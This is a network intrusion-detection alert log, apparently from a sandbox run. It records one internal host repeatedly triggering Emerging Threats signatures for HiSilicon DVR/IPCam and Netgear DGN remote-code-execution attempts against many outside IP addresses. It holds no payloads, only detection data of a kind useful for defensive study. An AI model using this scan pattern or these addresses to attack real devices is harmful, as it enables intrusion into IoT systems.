05/16/24-16:38:55.193090	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55230	9530	192.168.2.23	41.86.209.238
05/16/24-16:39:14.527286	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52384	9530	192.168.2.23	32.114.2.16
05/16/24-16:39:14.527286	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52384	9530	192.168.2.23	32.114.2.16
05/16/24-16:39:05.702432	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56528	9530	192.168.2.23	155.155.105.100
05/16/24-16:39:05.702432	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56528	9530	192.168.2.23	155.155.105.100
05/16/24-16:38:50.064003	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43670	9530	192.168.2.23	191.80.81.30
05/16/24-16:38:50.064003	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43670	9530	192.168.2.23	191.80.81.30
05/16/24-16:38:57.409959	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40764	9530	192.168.2.23	182.25.120.229
05/16/24-16:38:50.004192	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35320	9530	192.168.2.23	17.16.69.65
05/16/24-16:38:57.409959	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40764	9530	192.168.2.23	182.25.120.229
05/16/24-16:38:50.004192	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35320	9530	192.168.2.23	17.16.69.65
05/16/24-16:39:08.124511	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42008	9530	192.168.2.23	206.74.143.145
05/16/24-16:39:08.124511	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42008	9530	192.168.2.23	206.74.143.145
05/16/24-16:38:57.448063	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50692	9530	192.168.2.23	76.251.169.75
05/16/24-16:38:57.448063	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50692	9530	192.168.2.23	76.251.169.75
05/16/24-16:39:02.726871	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39934	9530	192.168.2.23	201.183.140.177
05/16/24-16:39:02.726871	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39934	9530	192.168.2.23	201.183.140.177
05/16/24-16:39:14.523117	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37514	9530	192.168.2.23	211.139.168.177
05/16/24-16:39:14.523117	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37514	9530	192.168.2.23	211.139.168.177
05/16/24-16:38:59.519256	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51342	9530	192.168.2.23	184.102.127.233
05/16/24-16:38:59.519256	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51342	9530	192.168.2.23	184.102.127.233
05/16/24-16:39:05.715259	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58900	9530	192.168.2.23	72.97.231.184
05/16/24-16:39:02.725547	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42872	9530	192.168.2.23	25.225.20.53
05/16/24-16:39:02.725547	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42872	9530	192.168.2.23	25.225.20.53
05/16/24-16:38:50.080392	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57300	9530	192.168.2.23	130.45.195.8
05/16/24-16:38:50.080392	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57300	9530	192.168.2.23	130.45.195.8
05/16/24-16:39:08.148279	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48144	9530	192.168.2.23	8.198.207.153
05/16/24-16:39:08.148279	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48144	9530	192.168.2.23	8.198.207.153
05/16/24-16:38:59.557086	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42304	9530	192.168.2.23	115.225.84.59
05/16/24-16:38:59.557086	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42304	9530	192.168.2.23	115.225.84.59
05/16/24-16:38:55.231881	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41502	9530	192.168.2.23	13.78.46.182
05/16/24-16:39:05.711661	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50820	9530	192.168.2.23	46.234.132.127
05/16/24-16:38:55.231881	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41502	9530	192.168.2.23	13.78.46.182
05/16/24-16:39:05.711661	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50820	9530	192.168.2.23	46.234.132.127
05/16/24-16:39:14.529039	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45478	9530	192.168.2.23	162.125.32.213
05/16/24-16:38:55.215553	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53760	9530	192.168.2.23	95.234.67.23
05/16/24-16:39:05.675816	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50258	9530	192.168.2.23	195.134.224.229
05/16/24-16:39:14.529039	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45478	9530	192.168.2.23	162.125.32.213
05/16/24-16:38:55.215553	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53760	9530	192.168.2.23	95.234.67.23
05/16/24-16:39:05.675816	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50258	9530	192.168.2.23	195.134.224.229
05/16/24-16:39:12.301187	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40808	9530	192.168.2.23	4.118.153.12
05/16/24-16:39:13.658796	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	38618	80	192.168.2.23	206.92.128.139
05/16/24-16:39:08.092970	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34404	9530	192.168.2.23	172.128.175.230
05/16/24-16:39:08.092970	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34404	9530	192.168.2.23	172.128.175.230
05/16/24-16:38:57.304680	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37336	9530	192.168.2.23	167.198.196.189
05/16/24-16:38:57.437165	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37442	9530	192.168.2.23	158.150.123.97
05/16/24-16:38:57.304680	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37336	9530	192.168.2.23	167.198.196.189
05/16/24-16:39:05.715259	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58900	9530	192.168.2.23	72.97.231.184
05/16/24-16:38:57.437165	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37442	9530	192.168.2.23	158.150.123.97
05/16/24-16:39:12.301187	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40808	9530	192.168.2.23	4.118.153.12
05/16/24-16:39:02.745318	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51260	9530	192.168.2.23	47.0.138.63
05/16/24-16:38:55.220858	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56830	9530	192.168.2.23	18.9.185.84
05/16/24-16:39:02.745318	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51260	9530	192.168.2.23	47.0.138.63
05/16/24-16:38:50.046612	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49886	9530	192.168.2.23	188.158.88.110
05/16/24-16:38:55.220858	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56830	9530	192.168.2.23	18.9.185.84
05/16/24-16:39:14.531146	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49106	9530	192.168.2.23	115.162.82.144
05/16/24-16:38:50.046612	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49886	9530	192.168.2.23	188.158.88.110
05/16/24-16:39:14.531146	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49106	9530	192.168.2.23	115.162.82.144
05/16/24-16:39:14.494666	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47126	9530	192.168.2.23	136.241.238.233
05/16/24-16:39:14.531074	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60124	9530	192.168.2.23	152.83.5.53
05/16/24-16:39:14.531074	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60124	9530	192.168.2.23	152.83.5.53
05/16/24-16:39:05.707005	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46950	9530	192.168.2.23	200.96.41.142
05/16/24-16:39:14.494666	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47126	9530	192.168.2.23	136.241.238.233
05/16/24-16:39:05.707005	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46950	9530	192.168.2.23	200.96.41.142
05/16/24-16:38:57.301349	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57266	9530	192.168.2.23	92.191.43.139
05/16/24-16:38:57.301349	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57266	9530	192.168.2.23	92.191.43.139
05/16/24-16:38:50.004162	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36006	9530	192.168.2.23	70.146.226.174
05/16/24-16:38:55.207712	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50630	9530	192.168.2.23	161.217.152.164
05/16/24-16:38:50.004162	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36006	9530	192.168.2.23	70.146.226.174
05/16/24-16:38:55.207712	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50630	9530	192.168.2.23	161.217.152.164
05/16/24-16:39:03.280142	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57396	9530	192.168.2.23	120.229.167.39
05/16/24-16:38:57.446978	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60280	9530	192.168.2.23	113.216.61.51
05/16/24-16:38:57.446978	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60280	9530	192.168.2.23	113.216.61.51
05/16/24-16:39:03.280142	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57396	9530	192.168.2.23	120.229.167.39
05/16/24-16:39:08.123598	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55322	9530	192.168.2.23	27.200.190.15
05/16/24-16:39:08.126479	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49760	9530	192.168.2.23	72.237.176.156
05/16/24-16:39:08.126479	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49760	9530	192.168.2.23	72.237.176.156
05/16/24-16:39:12.298309	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42784	9530	192.168.2.23	213.197.245.233
05/16/24-16:39:12.298309	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42784	9530	192.168.2.23	213.197.245.233
05/16/24-16:38:53.011335	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38030	9530	192.168.2.23	201.156.81.71
05/16/24-16:38:53.011335	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38030	9530	192.168.2.23	201.156.81.71
05/16/24-16:39:08.123598	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55322	9530	192.168.2.23	27.200.190.15
05/16/24-16:39:02.746072	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52706	9530	192.168.2.23	5.144.25.205
05/16/24-16:39:02.746072	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52706	9530	192.168.2.23	5.144.25.205
05/16/24-16:38:50.047560	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42928	9530	192.168.2.23	169.13.13.47
05/16/24-16:38:50.047560	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42928	9530	192.168.2.23	169.13.13.47
05/16/24-16:39:02.762988	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58358	9530	192.168.2.23	114.12.98.136
05/16/24-16:39:02.762988	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58358	9530	192.168.2.23	114.12.98.136
05/16/24-16:39:05.699943	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42634	9530	192.168.2.23	221.64.195.67
05/16/24-16:38:55.229908	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55544	9530	192.168.2.23	78.248.206.183
05/16/24-16:39:05.699943	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42634	9530	192.168.2.23	221.64.195.67
05/16/24-16:39:16.604226	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40734	9530	192.168.2.23	88.120.213.82
05/16/24-16:39:16.604226	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40734	9530	192.168.2.23	88.120.213.82
05/16/24-16:38:55.229908	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55544	9530	192.168.2.23	78.248.206.183
05/16/24-16:39:14.494590	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44330	9530	192.168.2.23	101.163.115.246
05/16/24-16:39:14.494590	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44330	9530	192.168.2.23	101.163.115.246
05/16/24-16:39:05.506976	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	36038	80	192.168.2.23	141.201.95.83
05/16/24-16:39:14.528955	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32792	9530	192.168.2.23	119.104.169.193
05/16/24-16:39:12.383587	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40970	9530	192.168.2.23	98.60.71.104
05/16/24-16:39:14.528955	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32792	9530	192.168.2.23	119.104.169.193
05/16/24-16:39:12.383587	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40970	9530	192.168.2.23	98.60.71.104
05/16/24-16:38:49.277416	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	37404	80	192.168.2.23	17.202.189.141
05/16/24-16:38:53.098251	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33726	9530	192.168.2.23	23.174.17.88
05/16/24-16:38:53.098251	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33726	9530	192.168.2.23	23.174.17.88
05/16/24-16:39:08.148313	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39484	9530	192.168.2.23	19.131.162.57
05/16/24-16:38:50.046363	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53364	9530	192.168.2.23	115.173.218.28
05/16/24-16:38:50.046363	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53364	9530	192.168.2.23	115.173.218.28
05/16/24-16:39:08.148313	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39484	9530	192.168.2.23	19.131.162.57
05/16/24-16:38:59.584403	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41068	9530	192.168.2.23	200.82.229.75
05/16/24-16:38:59.584403	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41068	9530	192.168.2.23	200.82.229.75
05/16/24-16:39:05.707681	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60456	9530	192.168.2.23	67.217.73.178
05/16/24-16:39:01.473860	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	59392	80	192.168.2.23	83.124.111.176
05/16/24-16:39:12.408338	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33762	9530	192.168.2.23	77.203.205.121
05/16/24-16:39:12.408338	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33762	9530	192.168.2.23	77.203.205.121
05/16/24-16:39:05.707681	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60456	9530	192.168.2.23	67.217.73.178
05/16/24-16:38:55.206810	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56274	9530	192.168.2.23	193.238.182.229
05/16/24-16:38:55.206810	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56274	9530	192.168.2.23	193.238.182.229
05/16/24-16:39:14.527605	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59980	9530	192.168.2.23	221.168.123.11
05/16/24-16:39:14.527605	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59980	9530	192.168.2.23	221.168.123.11
05/16/24-16:39:02.745280	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49538	9530	192.168.2.23	130.10.35.82
05/16/24-16:39:05.676965	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45034	9530	192.168.2.23	186.8.175.66
05/16/24-16:38:59.519306	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49978	9530	192.168.2.23	46.18.138.113
05/16/24-16:39:02.745280	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49538	9530	192.168.2.23	130.10.35.82
05/16/24-16:38:59.519306	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49978	9530	192.168.2.23	46.18.138.113
05/16/24-16:39:05.693235	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47476	9530	192.168.2.23	154.52.99.1
05/16/24-16:38:55.208969	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33388	9530	192.168.2.23	93.115.218.61
05/16/24-16:38:55.208969	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33388	9530	192.168.2.23	93.115.218.61
05/16/24-16:39:05.676308	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56492	9530	192.168.2.23	32.140.88.133
05/16/24-16:39:05.676308	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56492	9530	192.168.2.23	32.140.88.133
05/16/24-16:39:05.693235	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47476	9530	192.168.2.23	154.52.99.1
05/16/24-16:38:59.519394	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39540	9530	192.168.2.23	150.60.232.20
05/16/24-16:38:59.519394	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39540	9530	192.168.2.23	150.60.232.20
05/16/24-16:39:12.384470	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44604	9530	192.168.2.23	161.236.210.189
05/16/24-16:38:50.063941	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52926	9530	192.168.2.23	179.1.52.150
05/16/24-16:38:50.063941	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52926	9530	192.168.2.23	179.1.52.150
05/16/24-16:38:59.557652	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49748	9530	192.168.2.23	100.136.175.40
05/16/24-16:39:12.384470	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44604	9530	192.168.2.23	161.236.210.189
05/16/24-16:38:59.557652	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49748	9530	192.168.2.23	100.136.175.40
05/16/24-16:39:03.263647	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44666	9530	192.168.2.23	24.42.15.133
05/16/24-16:39:03.263647	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44666	9530	192.168.2.23	24.42.15.133
05/16/24-16:39:05.676965	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45034	9530	192.168.2.23	186.8.175.66
05/16/24-16:38:57.304805	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41962	9530	192.168.2.23	121.138.11.248
05/16/24-16:38:57.304805	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41962	9530	192.168.2.23	121.138.11.248
05/16/24-16:39:09.591889	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	46886	80	192.168.2.23	57.149.215.70
05/16/24-16:38:50.080371	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35508	9530	192.168.2.23	210.71.101.252
05/16/24-16:38:50.080371	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35508	9530	192.168.2.23	210.71.101.252
05/16/24-16:38:50.065042	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56460	9530	192.168.2.23	139.190.33.62
05/16/24-16:39:02.726983	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60452	9530	192.168.2.23	203.171.95.124
05/16/24-16:39:16.611192	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45064	9530	192.168.2.23	82.118.210.59
05/16/24-16:39:02.726983	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60452	9530	192.168.2.23	203.171.95.124
05/16/24-16:39:16.611192	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45064	9530	192.168.2.23	82.118.210.59
05/16/24-16:38:50.068396	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55066	9530	192.168.2.23	20.249.196.57
05/16/24-16:38:50.068396	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55066	9530	192.168.2.23	20.249.196.57
05/16/24-16:38:50.065042	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56460	9530	192.168.2.23	139.190.33.62
05/16/24-16:39:12.406017	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49112	9530	192.168.2.23	98.216.171.25
05/16/24-16:39:12.406017	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49112	9530	192.168.2.23	98.216.171.25
05/16/24-16:39:14.493635	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54554	9530	192.168.2.23	42.53.137.183
05/16/24-16:39:14.493635	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54554	9530	192.168.2.23	42.53.137.183
05/16/24-16:39:14.491214	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40450	9530	192.168.2.23	136.158.168.87
05/16/24-16:39:14.491214	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40450	9530	192.168.2.23	136.158.168.87
05/16/24-16:38:57.431434	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58588	9530	192.168.2.23	73.188.110.99
05/16/24-16:39:08.125392	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40764	9530	192.168.2.23	167.26.29.172
05/16/24-16:38:57.431434	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58588	9530	192.168.2.23	73.188.110.99
05/16/24-16:39:08.125392	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40764	9530	192.168.2.23	167.26.29.172
05/16/24-16:38:50.065115	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50644	9530	192.168.2.23	186.18.201.192
05/16/24-16:38:50.063964	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44832	9530	192.168.2.23	49.71.239.242
05/16/24-16:38:50.063964	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44832	9530	192.168.2.23	49.71.239.242
05/16/24-16:38:53.069510	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40494	9530	192.168.2.23	197.112.59.204
05/16/24-16:38:55.227481	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52586	9530	192.168.2.23	23.162.141.48
05/16/24-16:38:57.441181	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37330	9530	192.168.2.23	188.231.148.232
05/16/24-16:38:57.441181	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37330	9530	192.168.2.23	188.231.148.232
05/16/24-16:38:50.065115	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50644	9530	192.168.2.23	186.18.201.192
05/16/24-16:38:53.069510	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40494	9530	192.168.2.23	197.112.59.204
05/16/24-16:39:12.380554	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54110	9530	192.168.2.23	93.26.100.106
05/16/24-16:39:12.380554	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54110	9530	192.168.2.23	93.26.100.106
